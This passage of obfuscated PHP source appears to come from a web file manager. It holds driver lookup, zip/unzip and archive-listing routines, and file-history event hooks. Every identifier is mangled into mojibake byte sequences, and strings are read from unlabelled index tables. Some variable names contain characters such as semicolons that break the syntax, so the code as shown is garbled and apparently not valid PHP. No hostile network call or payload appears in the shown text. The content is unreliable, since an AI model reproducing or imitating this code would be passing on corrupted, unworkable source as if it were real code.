(!self::$driverListUser) { $«§»<C2A7>µŠ = $GLOBALS[$¨ÕÛ€<C39B>ó[1247]]; self::$driverListUser = array_to_keyvalue($«§»<C2A7>µŠ, $¨ÕÛ€<C39B>ó[475]); } $ž†½¯âÉ = self::$driverListUser[$Í°ÝÆëÄ]; break; case KodIO::KOD_SHARE_LINK: $ž†½¯âÉ = array($¨ÕÛ€<C39B>ó[1245] => $¨ÕÛ€<C39B>ó[1248], $¨ÕÛ€<C39B>ó[6] => $éƒÐ´ˆó); $®»ùÓî© = Action($¨ÕÛ€<C39B>ó[1249])->sharePathInfo($éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[87]]); $äöáˆ<C3A1>¾ = $®»ùÓî©[$¨ÕÛ€<C39B>ó[193]]; if (!$®»ùÓî©[$¨ÕÛ€<C39B>ó[193]]) { $гð«»Ô = Model($¨ÕÛ€<C39B>ó[664])->getInfo($®»ùÓî©[$¨ÕÛ€<C39B>ó[665]]); $äöáˆ<C3A1>¾ = KodIO::clear($гð«»Ô[$¨ÕÛ€<C39B>ó[1250]] . $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[1243]]); $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[560]] = $гð«»Ô; $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[1225]] = $äöáˆ<C3A1>¾; $ž†½¯âÉ = array($¨ÕÛ€<C39B>ó[1245] => $¨ÕÛ€<C39B>ó[1251], $¨ÕÛ€<C39B>ó[6] => $éƒÐ´ˆó); } break; case KodIO::KOD_SHARE_ITEM: $ž†½¯âÉ = array($¨ÕÛ€<C39B>ó[1245] => $¨ÕÛ€<C39B>ó[1252], $¨ÕÛ€<C39B>ó[6] => $éƒÐ´ˆó); $гð«»Ô = Model($¨ÕÛ€<C39B>ó[664])->getInfo($éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[475]]); if ($гð«»Ô[$¨ÕÛ€<C39B>ó[193]] == $¨ÕÛ€<C39B>ó[228]) { $äöáˆ<C3A1>¾ = KodIO::clear($гð«»Ô[$¨ÕÛ€<C39B>ó[1250]] . $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[1243]]); $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[560]] = $гð«»Ô; $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[1225]] = $äöáˆ<C3A1>¾; $ž†½¯âÉ = array($¨ÕÛ€<C39B>ó[1245] => $¨ÕÛ€<C39B>ó[1253], $¨ÕÛ€<C39B>ó[6] => $éƒÐ´ˆó); } else { if (!$äöáˆ<C3A1>¾) { $äöáˆ<C3A1>¾ = $гð«»Ô[$¨ÕÛ€<C39B>ó[193]]; } } break; default: $äöáˆ<C3A1>¾ = $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[87]]; $ž†½¯âÉ = array($¨ÕÛ€<C39B>ó[1245] => $¨ÕÛ€<C39B>ó[1254]); break; } $¨‰Êâ»Ó = $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[87]]; if (!isset(self::$driverCache[$¨‰Êâ»Ó])) { $ÀÉŠ›°Ú = strtolower($ž†½¯âÉ[$¨ÕÛ€<C39B>ó[98]]); $Æ<>ùĹü = $GLOBALS[$¨ÕÛ€<C39B>ó[6]][$¨ÕÛ€<C39B>ó[92]][$¨ÕÛ€<C39B>ó[900]]; $ÇÀõóÀÝ = $¨ÕÛ€<C39B>ó[77] . (isset($Æ<>ùĹü[$ÀÉŠ›°Ú]) ? $Æ<>ùĹü[$ÀÉŠ›°Ú] : ucfirst($ÀÉŠ›°Ú)); if (!class_exists($ÇÀõóÀÝ)) { show_json("{$ÇÀõóÀÝ}\x20\156\x6f\x74\40\145\x78\151\x73\x74\163\x21", !1); } $Õ™Õ½œ× = isset($ž†½¯âÉ[$¨ÕÛ€<C39B>ó[6]]) ? $ž†½¯âÉ[$¨ÕÛ€<C39B>ó[6]] : !1; self::$driverCache[$¨‰Êâ»Ó] = new $ÇÀõóÀÝ($Õ™Õ½œ×); } $™âè”Ç„ = self::$driverCache[$¨‰Êâ»Ó]; $™âè”Ç„->pathDriver = $ÊéÑ¡¨„; $™âè”Ç„->pathBase = $¨ÕÛ€<C39B>ó[12]; if (isset($ž†½¯âÉ[$¨ÕÛ€<C39B>ó[6]][$¨ÕÛ€<C39B>ó[1255]])) { $™âè”Ç„->pathBase = rtrim($ž†½¯âÉ[$¨ÕÛ€<C39B>ó[6]][$¨ÕÛ€<C39B>ó[1255]], $¨ÕÛ€<C39B>ó[8]) . $¨ÕÛ€<C39B>ó[8]; $äöáˆ<C3A1>¾ = $™âè”Ç„->pathBase . ltrim($äöáˆ<C3A1>¾, $¨ÕÛ€<C39B>ó[8]); } $äöáˆ<C3A1>¾ = $™âè”Ç„->getPath($äöáˆ<C3A1>¾); if (isset($éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[1225]])) { $äöáˆ<C3A1>¾ = $éƒÐ´ˆó[$¨ÕÛ€<C39B>ó[1225]]; } $™âè”Ç„->path = $äöáˆ<C3A1>¾; return $™âè”Ç„; } public static function errorTips($‡¶<E280A1>Ôʳ = false) { $ØÉçõ´Ð =& $_SERVER[ˆ¡¹µ‹Â]; static $Î…ò´Ýž = array(); $à˜°Ô‡‹ = 1000; if ($‡¶<E280A1>Ôʳ === -1) { return $Î…ò´Ýž ? $Î…ò´Ýž[count($Î…ò´Ýž) - 1] : $ØÉçõ´Ð[12]; } if ($‡¶<E280A1>Ôʳ === !1) { return implode($ØÉçõ´Ð[262], $Î…ò´Ýž); } if (count($Î…ò´Ýž) >= $à˜°Ô‡‹) { $Î…ò´Ýž = array_slice($Î…ò´Ýž, $à˜°Ô‡‹ * 0.5, $à˜°Ô‡‹); } $Î…ò´Ýž[] = $‡¶<E280A1>Ôʳ; write_log($ØÉçõ´Ð[176] . ACTION . $ØÉçõ´Ð[1256] . $‡¶<E280A1>Ôʳ, $ØÉçõ´Ð[1257]); } public static function getLastError($ˆÕ<CB86>´Ÿç = '') { $õØ´¸‡³ = self::errorTips(-1); return $õØ´¸‡³ ? $õØ´¸‡³ : $ˆÕ<CB86>´Ÿç; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $«îÀ›”›; if ($«îÀ›”›) { return $«îÀ›”›; } $<24>­ØŸ³Œ = IO::init($_SERVER[ˆ¡¹µ‹Â][8]); return $<24>­ØŸ³Œ; } private static function iconvSystem($ô…ÛÆ¹€) { return self::local()->iconvSystem($ô…ÛÆ¹€); } private static function iconvApp($ÞÔÈÉÆù) { return self::local()->iconvApp($ÞÔÈÉÆù); } public static function zipFolder($ПբÞ<C2A2>, $±½µþá = "\172\x69\160", $ùÝë<C39D>ù = '', $®â™¸¸Á = REPEAT_RENAME) { $°Çîï±¹ =& $_SERVER[ˆ¡¹µ‹Â]; $â¨ý Þé = IO::listPath($ПբÞ<C2A2>); if (!$â¨ý Þé) { return !1; } $â¨ý Þé = array_merge($â¨ý Þé[$°Çîï±¹[85]], $â¨ý Þé[$°Çîï±¹[86]]); return self::zip($â¨ý Þé, $±½µþá, $ùÝë<C39D>ù, $®â™¸¸Á); } public static function zip($ÉŠÁÓ³‰, $ý®òöœç = "\172\151\160", $Ë‘ã¦Î¬ = '', $ùìížõƒ = REPEAT_RENAME) { $ڵɩžÊ =& $_SERVER[ˆ¡¹µ‹Â]; if (is_string($ÉŠÁÓ³‰) && $ÉŠÁÓ³‰) { $ÉŠÁÓ³‰ = array(array($ڵɩžÊ[87] => $ÉŠÁÓ³‰)); } $öžùâÚ¿ = self::init($ÉŠÁÓ³‰[0][$ڵɩžÊ[87]]); $Å•ƒ…°ú = self::info($ÉŠÁÓ³‰[0][$ڵɩžÊ[87]]); $ˆÛÁ<C39B>Œ… = $ڵɩžÊ[12]; $<24>Ú€ŸÖš = $ڵɩžÊ[12]; $Øþ²ž± = $ڵɩžÊ[12]; if ($Ë‘ã¦Î¬ && substr($Ë‘ã¦Î¬, -1, 1) != $ڵɩžÊ[8]) { $<24>Ú€ŸÖš = get_path_father($Ë‘ã¦Î¬); $Øþ²ž± = get_path_this($Ë‘ã¦Î¬); } else { $<24>Ú€ŸÖš = self::pathFather($Å•ƒ…°ú[$ڵɩžÊ[87]]); $Øþ²ž± = $Å•ƒ…°ú[$ڵɩžÊ[32]] . $ڵɩžÊ[10] . $ý®òöœç; if (count($ÉŠÁÓ³‰) > 1) { $íÁžå†´ = IO::info($<24>Ú€ŸÖš); $Øþ²ž± = $íÁžå†´[$ڵɩžÊ[32]] . $ڵɩžÊ[10] . $ý®òöœç; } if ($Ë‘ã¦Î¬) { $<24>Ú€ŸÖš = $Ë‘ã¦Î¬; } } if ($öžùâÚ¿->getType() == $ڵɩžÊ[109]) { $Ë ñú©· = self::init($<24>Ú€ŸÖš); $Îܾ­ùÌ = $Ë ñú©·->getType() == $ڵɩžÊ[109] ? $<24>Ú€ŸÖš : get_path_father($öžùâÚ¿->path); $Îܾ­ùÌ = rtrim($Îܾ­ùÌ, $ڵɩžÊ[8]) . $ڵɩžÊ[8]; mk_dir($Îܾ­ùÌ); } else { $ˆÛÁ<C39B>Œ… = TEMP_FILES . $ڵɩžÊ[1258] . time() . rand_string(8) . $ڵɩžÊ[8]; mk_dir($ˆÛÁ<C39B>Œ…); file_put_contents($ˆÛÁ<C39B>Œ… . $ڵɩžÊ[1259], $ڵɩžÊ[12]); $Îܾ­ùÌ = $ˆÛÁ<C39B>Œ…; } $ÉîÅÆµÔ = IO::info($Îܾ­ùÌ); if (!$ÉîÅÆµÔ || !$ÉîÅÆµÔ[$ڵɩžÊ[233]]) { show_json(LNG($ڵɩžÊ[1260]), !1); } $ÊÙ²–ŽÄ = self::zipFileList($ÉŠÁÓ³‰, $ˆÛÁ<C39B>Œ…); foreach ($ÊÙ²–ŽÄ as $˜•çȶ§ => $­Û¤ÀÁˆ) { $ÊÙ²–ŽÄ[$˜•çȶ§] = self::iconvSystem($­Û¤ÀÁˆ); } $²Ž´‘”„ = get_filename_auto($Îܾ­ùÌ . $Øþ²ž±, $ڵɩžÊ[12], $ùìížõƒ); KodArchive::create(self::iconvSystem($²Ž´‘”„), $ÊÙ²–ŽÄ); if (!IO::exist($²Ž´‘”„)) { if ($ˆÛÁ<C39B>Œ…) { del_dir($ˆÛÁ<C39B>Œ…); } write_log($ڵɩžÊ[1261] . $²Ž´‘”„, $ڵɩžÊ[389]); show_json(LNG($ڵɩžÊ[1262]), !1); } if (!$ˆÛÁ<C39B>Œ…) { return $²Ž´‘”„; } $Û×Õ °¦ = self::move($²Ž´‘”„, $<24>Ú€ŸÖš, $ùìížõƒ); if ($ˆÛÁ<C39B>Œ…) { del_dir($ˆÛÁ<C39B>Œ…); } if (!$²Ž´‘”„) { write_log($ڵɩžÊ[1263] . $²Ž´‘”„ . $ڵɩžÊ[1264] . $<24>Ú€ŸÖš, $ڵɩžÊ[389]); show_json(LNG($ڵɩžÊ[1262]), !1); } return $Û×Õ °¦; } public static function unzip($°¶à¯<C3A0>Æ, $”<>á„´, $›¾Ëöᥠ= "\x2d\x31", $»þ§©Ðä = "\162\x65\160\154\x61\x63\x65") { $òã¦äâ± =& $_SERVER[ˆ¡¹µ‹Â]; $¦ö¯ñ¹ã = parent::info($°¶à¯<C3A0>Æ); if (!$¦ö¯ñ¹ã) { show_json(LNG($òã¦äâ±[1265]), !1); } $ ŸÐº«³ = IO::infoFullSimple($”<>á„´); if (!$ ŸÐº«³) { $”<>á„´ = IO::mkdir($”<>á„´); } if (isset($ ŸÐº«³[$òã¦äâ±[193]]) && trim($ ŸÐº«³[$òã¦äâ±[87]], $òã¦äâ±[8]) != trim($”<>á„´, $òã¦äâ±[8])) { $Ÿöךñ« = KodIO::make($ ŸÐº«³[$òã¦äâ±[192]]); $Õ›¹È¾Ù = IO::fileNameAuto($Ÿöךñ«, $ ŸÐº«³[$òã¦äâ±[32]], REPEAT_RENAME_FOLDER, !0); $”<>á„´ = IO::mkdir($Ÿöךñ« . $Õ›¹È¾Ù); } $›¾Ëöᥠ= $›¾Ëöᥠ&& $›¾Ëöᥠ!= $òã¦äâ±[1266] ? @json_decode($›¾Ëöá¥, !0) : -1; $ÍŒ¥¸‚  = self::unzipPart($°¶à¯<C3A0>Æ, $›¾Ëöá¥); if (!$ÍŒ¥¸‚  || !IO::exist($ÍŒ¥¸‚ [$òã¦äâ±[230]])) { show_json(LNG($òã¦äâ±[108]), !1); } $„¬²ìü¯ = $ÍŒ¥¸‚ [$òã¦äâ±[1267]][count($ÍŒ¥¸‚ [$òã¦äâ±[1267]]) - 1]; if ($„¬²ìü¯[$òã¦äâ±[1268]] == -1 || substr($„¬²ìü¯[$òã¦äâ±[32]], -1, 1) == $òã¦äâ±[8]) { $†ç˜ãôÆ = $ÍŒ¥¸‚ [$òã¦äâ±[1269]] . rand_string(10) . $òã¦äâ±[8]; mk_dir($†ç˜ãôÆ); $€£ãžèÐ = count($ÍŒ¥¸‚ [$òã¦äâ±[1267]]) == 1 ? IO::ext($°¶à¯<C3A0>Æ) : get_path_ext($ÍŒ¥¸‚ [$òã¦äâ±[230]]); $Ξٓñš = KodArchive::extract(self::iconvSystem($ÍŒ¥¸‚ [$òã¦äâ±[230]]), $†ç˜ãôÆ, $„¬²ìü¯[$òã¦äâ±[1268]], $Õ›¹È¾Ù, $€£ãžèÐ); self::unzipErrorCheck($Ξٓñš, array($òã¦äâ±[1270], $°¶à¯<C3A0>Æ, $€£ãžèÐ, $”<>á„´, $ÍŒ¥¸‚ )); Hook::trigger($òã¦äâ±[1271], $†ç˜ãôÆ); recursion_dir($†ç˜ãôÆ, $ý±½‹ºî, $ŠÖßÜÄÆ, 0); $š<>Í´®— = array_merge($ý±½‹ºî, $ŠÖßÜÄÆ); $‰’•˜ž¸ = array(); foreach ($š<>Í´®— as $§ø—…í‰) { $½¯Ð;³ = IO::move(self::iconvApp($§ø—…í‰), $”<>á„´, $»þ§©Ðä); if ($½¯Ð;³) { $‰’•˜ž¸[] = $½¯Ð;³; } } del_dir($†ç˜ãôÆ); } else { $½¯Ð;³ = IO::move($ÍŒ¥¸‚ [$òã¦äâ±[230]], $”<>á„´, $»þ§©Ðä, get_path_this($„¬²ìü¯[$òã¦äâ±[32]])); if ($½¯Ð;³) { $‰’•˜ž¸[] = $½¯Ð;³; } } return $‰’•˜ž¸ ? $‰’•˜ž¸ : !1; } public static function unzipList($Œ·¸´Ñù) { $â©ÏÈÙõ =& $_SERVER[ˆ¡¹µ‹Â]; $«<>Ý<EFBFBD>žÓ = isset($Œ·¸´Ñù[$â©ÏÈÙõ[1272]]) ? $Œ·¸´Ñù[$â©ÏÈÙõ[1272]] : !1; $ìªæœÔÈ = isset($Œ·¸´Ñù[$â©ÏÈÙõ[1268]]) ? @json_decode($Œ·¸´Ñù[$â©ÏÈÙõ[1268]], !0) : -1; $þ<>Þ½ = self::unzipPart($Œ·¸´Ñù[$â©ÏÈÙõ[87]], $ìªæœÔÈ); if (!$þ<>Þ½ || !IO::exist($þ<>Þ½[$â©ÏÈÙõ[230]])) { show_json(LNG($â©ÏÈÙõ[108]), !1); } $§”Ëõ›¨ = $þ<>Þ½[$â©ÏÈÙõ[1267]][count($þ<>Þ½[$â©ÏÈÙõ[1267]]) - 1]; $Ÿ§šì‰å = in_array(IO::ext($þ<>Þ½[$â©ÏÈÙõ[230]]), array($â©ÏÈÙõ[389], $â©ÏÈÙõ[1273], $â©ÏÈÙõ[1274], $â©ÏÈÙõ[1275], $â©ÏÈÙõ[1276], $â©ÏÈÙõ[1277])); if (!$«<>Ý<EFBFBD>žÓ && ($§”Ëõ›¨[$â©ÏÈÙõ[1268]] == -1 || $Ÿ§šì‰å)) { $´õÁ߉٠= $þ<>Þ½[$â©ÏÈÙõ[1269]] . get_path_this($þ<>Þ½[$â©ÏÈÙõ[230]]) . $â©ÏÈÙõ[1278]; if (!IO::exist($´õÁ߉Ù)) { $¤±ÇæÏÍ = $§”Ëõ›¨[$â©ÏÈÙõ[1268]] == -1 ? get_path_ext(IO::pathThis($Œ·¸´Ñù[$â©ÏÈÙõ[87]])) : get_path_ext($þ<>Þ½[$â©ÏÈÙõ[230]]); $‡˜ÑõÜÍ = KodArchive::listContent(self::iconvSystem($þ<>Þ½[$â©ÏÈÙõ[230]]), !0, $¤±ÇæÏÍ); self::unzipErrorCheck($‡˜ÑõÜÍ, array($â©ÏÈÙõ[1279], $Œ·¸´Ñù, $þ<>Þ½)); @file_put_contents($´õÁ߉Ù, json_encode($‡˜ÑõÜÍ[$â©ÏÈÙõ[1280]])); } return @json_decode(IO::getContent($´õÁ߉Ù), !0); } IO::fileOut($þ<>Þ½[$â©ÏÈÙõ[230]], $«<>Ý<EFBFBD>žÓ, get_path_this($§”Ëõ›¨[$â©ÏÈÙõ[32]])); die; } private static function zipFileList($ܚԂƤ, $Äĵ¹ÜŽ = false) { $òðÒŠÊÒ =& $_SERVER[ˆ¡¹µ‹Â]; $¼…½¯Ó¿ = array(); foreach ($ܚԂƤ as $…¦Ý°òÂ) { $Ÿ¢Ö帙 = $…¦Ý°òÂ[$òðÒŠÊÒ[87]]; if ($Äĵ¹ÜŽ) { $Ÿ¢Ö帙 = self::copy($…¦Ý°òÂ[$òðÒŠÊÒ[87]], $Äĵ¹ÜŽ, $òðÒŠÊÒ[893]); } else { $ؤͲ¸” = self::init($…¦Ý°òÂ[$òðÒŠÊÒ[87]]); if ($ؤͲ¸”->getType() == $òðÒŠÊÒ[109]) { $Ÿ¢Ö帙 = $ؤͲ¸”->path; } } if ($Ÿ¢Ö帙 && self::local()->exist($Ÿ¢Ö帙)) { $¼…½¯Ó¿[$…¦Ý°òÂ[$òðÒŠÊÒ[87]]] = $Ÿ¢Ö帙; } } if (!empty($¼…½¯Ó¿)) { return array_values($¼…½¯Ó¿); } show_json(LNG($òðÒŠÊÒ[1239]), !1); } private static function localFilePath($ü˜´Ê‘ƒ) { $éõœÔ¸<C394> =& $_SERVER[ˆ¡¹µ‹Â]; $´ÉàÍéõ = KodIO::parse($ü˜´Ê‘ƒ); if ($´ÉàÍéõ[$éõœÔ¸<C394>[33]] == KodIO::KOD_SOURCE) { $¼Ú£Š•Ž = Model($éõœÔ¸<C394>[899])->fileInfoGet(KodIO::sourceID($ü˜´Ê‘ƒ)); if (!$¼Ú£Š•Ž[$éõœÔ¸<C394>[87]]) { show_json($éõœÔ¸<C394>[1281], !1); } $ü˜´Ê‘ƒ = $¼Ú£Š•Ž[$éõœÔ¸<C394>[87]]; } $™ÐÑÖãž = self::init($ü˜´Ê‘ƒ); if ($™ÐÑÖãž->pathParse[$éõœÔ¸<C394>[1225]]) { $ü˜´Ê‘ƒ = $™ÐÑÖãž->pathParse[$éõœÔ¸<C394>[1225]]; $™ÐÑÖãž = self::init($ü˜´Ê‘ƒ); } $Ô朗Ÿœ = $™ÐÑÖãž->getType(); if ($Ô朗Ÿœ == $éõœÔ¸<C394>[109] || $Ô朗Ÿœ == $éõœÔ¸<C394>[1282]) { if (!$™ÐÑÖãž->exist($™ÐÑÖãž->path)) { show_json(LNG($éõœÔ¸<C394>[108]), !1); } return $™ÐÑÖãž->path; } return !1; } public static function unzipPart($´Ôùßïõ, $Ì›™Ç‰¶ = -1) { $’·Ÿ½ðÚ =& $_SERVER[ˆ¡¹µ‹Â]; $ø‘¦öÄ… = IO::pathThis($´Ôùßïõ); if (!$Ì›™Ç‰¶ || $Ì›™Ç‰¶ == -1) { $Æ‘ Ô´“ = array(array($’·Ÿ½ðÚ[32] => $ø‘¦öÄ…, $’·Ÿ½ðÚ[1268] => -1)); $Æ‘ Ô´“[0][$’·Ÿ½ðÚ[1283]] = $Æ‘ Ô´“[0][$’·Ÿ½ðÚ[32]]; } else { if (is_array($Ì›™Ç‰¶)) { $Æ‘ Ô´“ = $Ì›™Ç‰¶; $ºù<C2BA>¯<EFBFBD>ø = count($Æ‘ Ô´“) - 1; for ($ãô«ó<C2AB>Š = 0; $ãô«ó<C2AB>Š <= $ºù<C2BA>¯<EFBFBD>ø; $ãô«ó<C2AB>Š++) { $±Ô“³<E2809C>ˆ = $Æ‘ Ô´“[$ãô«ó<C2AB>Š]; $èþé Å‰ = get_path_this($±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[32]]) . (checkExtSafe($±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[32]]) ? $’·Ÿ½ðÚ[12] : $’·Ÿ½ðÚ[1284]); $Æ‘ Ô´“[$ãô«ó<C2AB>Š][$’·Ÿ½ðÚ[1283]] = $’·Ÿ½ðÚ[1285] . intval($±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[1268]]) . $’·Ÿ½ðÚ[462] . $èþé Å‰; if ($ãô«ó<C2AB>Š == 0) { continue; } $Æ‘ Ô´“[$ãô«ó<C2AB>Š][$’·Ÿ½ðÚ[1283]] = $Æ‘ Ô´“[$ãô«ó<C2AB>Š - 1][$’·Ÿ½ðÚ[1283]] . $’·Ÿ½ðÚ[1286] . $Æ‘ Ô´“[$ãô«ó<C2AB>Š][$’·Ÿ½ðÚ[1283]]; } } } if (!is_array($Æ‘ Ô´“) || count($Æ‘ Ô´“) == 0) { return !1; } $êí×<C3AD>™Ò = $Æ‘ Ô´“[count($Æ‘ Ô´“) - 1]; if (!IO::exist($´Ôùßïõ)) { return !1; } $<>—º<E28094>¿ = TEMP_FILES . $’·Ÿ½ðÚ[1287] . kodIO::hashPathSafe($´Ôùßïõ) . $’·Ÿ½ðÚ[8]; $Öσê<C692>Û = $<>—º<E28094>¿ . $êí×<C3AD>™Ò[$’·Ÿ½ðÚ[1283]]; mk_dir($<>—º<E28094>¿); file_put_contents(TEMP_FILES . $’·Ÿ½ðÚ[1259], $’·Ÿ½ðÚ[12]); if (IO::exist($Öσê<C692>Û)) { return array($’·Ÿ½ðÚ[230] => $Öσê<C692>Û, $’·Ÿ½ðÚ[1267] => $Æ‘ Ô´“, $’·Ÿ½ðÚ[1269] => $<>—º<E28094>¿); } $‡í×£”è = self::localFilePath($´Ôùßïõ); if (!$‡í×£”è) { $‡í×£”è = $<>—º<E28094>¿ . $’·Ÿ½ðÚ[1288]; if (!IO::exist($‡í×£”è)) { self::copy($´Ôùßïõ, $<>—º<E28094>¿, !1, get_path_this($‡í×£”è)); } } if (!$‡í×£”è || !IO::exist($‡í×£”è)) { return !1; } if ($êí×<C3AD>™Ò[$’·Ÿ½ðÚ[1268]] == -1) { return array($’·Ÿ½ðÚ[230] => $‡í×£”è, $’·Ÿ½ðÚ[1267] => $Æ‘ Ô´“, $’·Ÿ½ðÚ[1269] => $<>—º<E28094>¿); } $<24>ЫùȘ = $‡í×£”è; foreach ($Æ‘ Ô´“ as $ãô«ó<C2AB>Š => $±Ô“³<E2809C>ˆ) { if (!$±Ô“³<E2809C>ˆ || $±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[1268]] == $’·Ÿ½ðÚ[1266]) { break; } if (substr($±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[32]], -1, 1) == $’·Ÿ½ðÚ[8]) { break; } $¼ÝËý´Á = in_array(get_path_ext($±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[1283]]), array($’·Ÿ½ðÚ[389], $’·Ÿ½ðÚ[1273], $’·Ÿ½ðÚ[1274], $’·Ÿ½ðÚ[1275], $’·Ÿ½ðÚ[1276], $’·Ÿ½ðÚ[1277])); $òƪ’¿¶ = $ãô«ó<C2AB>Š == count($Æ‘ Ô´“) - 1 && $¼ÝËý´Á; $ïÁ–ñ¬À = $<>—º<E28094>¿ . $±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[1283]]; $䜞ޅ› = $<>—º<E28094>¿ . get_path_this($±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[32]]); if (IO::exist($ïÁ–ñ¬À)) { $<24>ЫùȘ = $ïÁ–ñ¬À; continue; } $¶ÝÍþîö = $ãô«ó<C2AB>Š == 0 ? get_path_ext($ø‘¦öÄ…) : get_path_ext($<24>ЫùȘ); $†³ô¿‹œ = KodArchive::extract(self::iconvSystem($<24>ЫùȘ), $<>—º<E28094>¿, $±Ô“³<E2809C>ˆ[$’·Ÿ½ðÚ[1268]], $¼Šµã¬Ä, $¶ÝÍþîö); self::unzipErrorCheck($†³ô¿‹œ, array($’·Ÿ½ðÚ[1289], $´Ôùßïõ, $Æ‘ Ô´“, $±Ô“³<E2809C>ˆ, $ïÁ–ñ¬À)); if (IO::exist($䜞ޅ›)) { IO::rename($䜞ޅ›, get_path_this($ïÁ–ñ¬À)); } $<24>ЫùȘ = $ïÁ–ñ¬À; } $Öσê<C692>Û = $<24>ЫùȘ; return array($’·Ÿ½ðÚ[230] => $<24>ЫùȘ, $’·Ÿ½ðÚ[1267] => $Æ‘ Ô´“, $’·Ÿ½ðÚ[1269] => $<>—º<E28094>¿); } private static function unzipErrorCheck($ãè•Äì—, $£€†¯äŠ = false) { $ùˆ°ÀÉô =& $_SERVER[ˆ¡¹µ‹Â]; if ($ãè•Äì—[$ùˆ°ÀÉô[1290]]) { return !0; } write_log(array($ùˆ°ÀÉô[1291], $ãè•Äì—, $£€†¯äŠ), $ùˆ°ÀÉô[1292]); show_json($ùˆ°ÀÉô[1293] . json_encode($ãè•Äì—[$ùˆ°ÀÉô[1280]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $Åò¼Êûë =& $_SERVER[ˆ¡¹µ‹Â]; $ËŠ˜æŠ“ = $GLOBALS[$Åò¼Êûë[6]][$Åò¼Êûë[92]]; if ($ËŠ˜æŠ“[$Åò¼Êûë[1294]] != 1) { return; } if ($ËŠ˜æŠ“[$Åò¼Êûë[1295]] <= 0) { return; } if (isset($_REQUEST[$Åò¼Êûë[1296]]) && $_REQUEST[$Åò¼Êûë[1296]] == $Åò¼Êûë[91]) { return; } Hook::bind($Åò¼Êûë[1297], $Åò¼Êûë[1298]); Hook::bind($Åò¼Êûë[1299], $Åò¼Êûë[1300]); Hook::bind($Åò¼Êûë[1301], $Åò¼Êûë[1302]); Hook::bind($Åò¼Êûë[1303], $Åò¼Êûë[1304]); Hook::bind($Åò¼Êûë[1305], $Åò¼Êûë[1306]); Hook::bind($Åò¼Êûë[1307], $Åò¼Êûë[1308]); } public static function eventBeforeUpload($€ü<E2809A>õŸ) { if ($€ü<E2809A>õŸ[3] && $€ü<E2809A>õŸ[3] != REPEAT_REPLACE) { return; } $Ã<>¿×¤ = self::parsePath($€ü<E2809A>õŸ[0]); if (!$Ã<>¿×¤) { return; } self::add($Ã<>¿×¤); } public static function eventBeforeEdit($Û<>½ºÏÕ) { $þÚ‡àЫ = self::parsePath($Û<>½ºÏÕ[0]); if (!$þÚ‡àЫ) { return; } self::add($þÚ‡àЫ); } public static function eventBeforeCopyFile($çŒýÚâà, $§ »ô¤ù, $åòôñØó, $ú§Áç¡„, $’Ó€æ€ô, $ÎŇ<C385>°Í) { $<24>Äù¹Ó =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($åòôñØó->_data[$<24>Äù¹Ó[1229]]) && $åòôñØó->_data[$<24>Äù¹Ó[1229]]) { return; } $¢ó”¨Ãˆ = $åòôñØó->getPathOuter($ú§Áç¡„); $«<>÷Žñò = self::parsePath($¢ó”¨Ãˆ); if (!$«<>÷Žñò) { return; } self::add($«<>÷Žñò); } public static function eventBeforeRename($Ÿ­…ý<E280A6>) { $õ‘Ü­°ö =& $_SERVER[ˆ¡¹µ‹Â]; $±™ä‰²Î = self::parsePath($Ÿ­…ý<E280A6>[0]); if (!$±™ä‰²Î) { return; } $•Òà‹Ññ = self::checkInHistory($±™ä‰²Î); if (!$•Òà‹Ññ) { return; } if ($•Òà‹Ññ[$õ‘Ü­°ö[33]] == $õ‘Ü­°ö[230]) { $‘¿ïÜŠ® = self::listData($±™ä‰²Î); if ($‘¿ïÜŠ® && $‘¿ïÜŠ®[$õ‘Ü­°ö[445]]) { self::moveHistory($±™ä‰²Î, $Ÿ­…ý<E280A6>[1]); } } else { IO::rename($•Òà‹Ññ[$õ‘Ü­°ö[87]], $Ÿ­…ý<E280A6>[1]); } } public static function eventBeforeMove($®<C2AE> ) { $×ÒÜÉþÓ =& $_SERVER[ˆ¡¹µ‹Â]; $™œç±™ü = self::parsePath($®<C2AE> [0]); if (!$™œç±™ü) { return; } $<24>¢Â™¹ = self::parsePath($®<C2AE> [1]); if (!$<24>¢Â™¹) { return; } $ûÞª¦û’ = $®<C2AE> [3]; $ªÊŠ×°Ÿ = self::checkInHistory($™œç±™ü); if (!$ªÊŠ×°Ÿ) { return; } $†¢ý¥ºÞ = self::pathHistory($<24>¢Â™¹); if ($ªÊŠ×°Ÿ[$×ÒÜÉþÓ[33]] == $×ÒÜÉþÓ[230]) { $öûÞѨé = self::listData($™œç±™ü); $·“ú­ˆ = rtrim($<24>¢Â™¹, $×ÒÜÉþÓ[8]) . $×ÒÜÉþÓ[8] . ($ûÞª¦û’ ? $ûÞª¦û’ : get_path_this($™œç±™ü)); $ªñÖ ±<C2A0> = self::listData($·“ú­ˆ); if ($öûÞѨé && $öûÞѨé[$×ÒÜÉþÓ[445]] && $ªñÖ ±<C2A0> && $ªñÖ ±<C2A0>[$×ÒÜÉþÓ[445]]) { return self::clear($™œç±™ü); } if ($öûÞѨé && $öûÞѨé[$×ÒÜÉþÓ[445]]) { self::moveHistory($™œç±™ü, $ûÞª¦û’, $†¢ý¥ºÞ); } } else { IO::move($ªÊŠ×°Ÿ[$×ÒÜÉþÓ[87]], $†¢ý¥ºÞ, !1, $ûÞª¦û’); self::clearEmptyFolder(IO::pathFather($ªÊŠ×°Ÿ[$×ÒÜÉþÓ[87]])); } } public static function eventAfterRemove($‰áñÐñý, $öíÈèöœ) { 